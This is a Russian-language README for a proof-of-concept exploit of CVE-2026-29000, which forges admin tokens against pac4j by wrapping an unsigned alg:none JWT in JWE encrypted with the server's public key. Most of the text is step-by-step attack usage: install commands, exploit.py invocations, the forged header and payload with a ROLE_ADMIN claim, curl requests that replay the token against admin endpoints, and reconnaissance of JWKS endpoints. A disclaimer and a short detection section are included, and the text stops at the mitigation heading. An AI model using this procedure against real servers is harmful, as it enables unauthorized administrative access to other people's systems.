CVE-2026-29000: PoC обхода аутентификации JWT pac4j

Подтверждение концепции для CVE-2026-29000 — критическая уязвимость обхода аутентификации в реализации JWT pac4j, позволяющая злоумышленникам создавать поддельные административные токены без действительной подписи.

---

⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Данный инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Автор НЕ несёт ответственности за любое неправомерное использование, ущерб или незаконное применение этого эксплойта.

• Несанкционированный доступ к компьютерным системам НЕЗАКОНЕН в большинстве юрисдикций
• Перед тестированием пользователи должны получить явное письменное разрешение
• Автор НЕ несёт ответственности за любые последствия, возникающие в результате неправомерного использования этого инструмента
• Это инструмент для исследований в области безопасности и обучения — используйте этично и законно

---

📋 Обзор уязвимости

Эта уязвимость эксплуатирует недостаток в механизме JWT-аутентификации pac4j, при котором библиотека:

1. Принимает неподписанные токены с alg: "none" в заголовке JWT
2. Доверяет токенам, обёрнутым в JWE, без надлежащей проверки подписи внутреннего JWT
3. Позволяет повышать привилегии через пользовательские утверждения (claims) в неподписанной полезной нагрузке

Злоумышленник может создать неподписанный JWT с произвольными утверждениями (например, role: "ROLE_ADMIN"), зашифровать его в контейнер JWE с использованием открытого ключа сервера и получить несанкционированный доступ к административным функциям.

---

🎯 Предварительные условия для успешной эксплуатации

Требования на стороне сервера

Чтобы эксплойт сработал, целевой сервер должен удовлетворять ВСЕМ следующим условиям:

1. Доступная конечная точка JWKS

Сервер должен предоставлять свои открытые ключи через одну из этих конечных точек:

• /.well-known/jwks.json (стандартная конечная точка OAuth/OIDC)
• /api/auth/jwks (пользовательская конечная точка)

Почему: Эксплойт автоматически загружает открытый ключ сервера для шифрования поддельного JWE-токена.

2. Принятие утверждения ROLE в JWT

Сервер должен:

• Принимать и обрабатывать утверждение role в полезной нагрузке JWT
• Иметь как минимум один уровень привилегий, предоставляющий расширенный доступ (например, ROLE_ADMIN)
• Не проверять подпись JWT или допускать неподписанные токены

Распространённые роли:

• ROLE_ADMIN — полный административный доступ
• ROLE_USER — стандартный доступ пользователя
• Пользовательские роли в зависимости от приложения

3. Обработка JWE-токенов

Сервер должен:

• Принимать JWE (зашифрованные) токены в качестве действительной аутентификации
• Расшифровывать и обрабатывать внутренний неподписанный JWT
• Не проверять подпись внутреннего JWT и не проверять алгоритм

4. Уязвимая конфигурация pac4j

Приложение должно использовать pac4j с:

• Алгоритмом "none" или неадекватной проверкой алгоритма
• Включённым шифрованием JWE, но отключённой проверкой подписи внутреннего JWT
• Отсутствием дополнительной проверки токена, кроме расшифровки JWE

---

🛠️ Установка

Требования

• Python 3.7+
• Необходимые пакеты: requests, jwcrypto

Настройка

# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Install dependencies
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
jwcrypto>=1.4.0

---

🚀 Использование

Базовое использование

python3 exploit.py <TARGET_URL>

Пример:

python3 exploit.py http://vulnerable-app.local:8080

Скрипт будет:

1. Пытаться получить JWKS со стандартных конечных точек
2. Создавать неподписанный JWT с role: "ROLE_ADMIN"
3. Шифровать его с помощью открытого ключа сервера
4. Выводить JWE-токен, готовый к аутентификации

Дополнительные параметры

Пользовательское имя пользователя

python3 exploit.py http://vulnerable-app.local:8080 --username john

Пользовательская роль

python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

Указать JWKS вручную

Если конечная точка JWKS недоступна публично, укажите JWK вручную:

python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

Полный пример со всеми параметрами

python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

---

📤 Использование сгенерированного токена

Эксплойт выводит JWE-токен в следующем формате:

Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

Выполнение аутентифицированных запросов

Используйте токен в HTTP-запросах для доступа к защищённым конечным точкам:

# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

Пример запроса с заголовком Authorization

curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

---

🔍 Как работает эксплойт

Шаг 1: Создание неподписанного JWT

header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Username
    "role": "ROLE_ADMIN",        # Privilege level
    "iss": "principal-platform", # Issuer
    "iat": 1234567890,          # Issued at
    "exp": 1234571490           # Expiration (1 hour)
}

JWT создаётся без подписи (alg: "none"), что обычно недействительно, но принимается уязвимыми серверами.

Шаг 2: Получение JWKS сервера

Эксплойт запрашивает:

1. /.well-known/jwks.json (стандарт OAuth/OIDC)
2. /api/auth/jwks (пользовательская конечная точка)

Это позволяет получить открытый RSA-ключ сервера, необходимый для шифрования.

Шаг 3: Шифрование JWT как JWE

Неподписанный JWT шифруется с использованием:

• Алгоритм: RSA-OAEP-256 (асимметричное шифрование)
• Шифрование: A128GCM (аутентифицированное шифрование)
• Ключ: Открытый ключ сервера (предотвращает подделку)

Это создаёт JWE-токен, который сервер может расшифровать, но не будет проверять внутреннюю подпись.

Шаг 4: Использование токена

JWE-токен включается в заголовок Authorization:

Authorization: Bearer <JWE_TOKEN>

Уязвимый сервер расшифровывает его и извлекает неподписанный JWT, доверяя утверждениям без проверки подписи.

---

🔐 Цепочка уязвимости

Unsigned JWT (alg:none)
         ↓
  Wraps in JWE (with server's public key)
         ↓
  Server receives JWE token
         ↓
  Server decrypts JWE
         ↓
  Extracts inner unsigned JWT
         ↓
  ❌ Server does NOT verify signature
         ↓
  ✅ Accepts claims as valid (role: ROLE_ADMIN)
         ↓
  Attacker has admin access!

---

⚠️ Обнаружение и индикаторы

Серверные индикаторы уязвимости

1. Доступность конечной точки JWKS

   • Проверьте, доступны ли /.well-known/jwks.json или /api/auth/jwks публично

2. Журналы проверки JWT

   • Ищите в журналах записи о принятии токенов с alg: "none"
   • Предупреждения о принятии неподписанных токенов

3. Просмотр конфигурации

   • Проверьте, отключена ли проверка подписи в pac4j
   • Проверьте настройки расшифровки JWE

Сетевые индикаторы

# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

---

🛡️ Смягчение и устранение уязвимости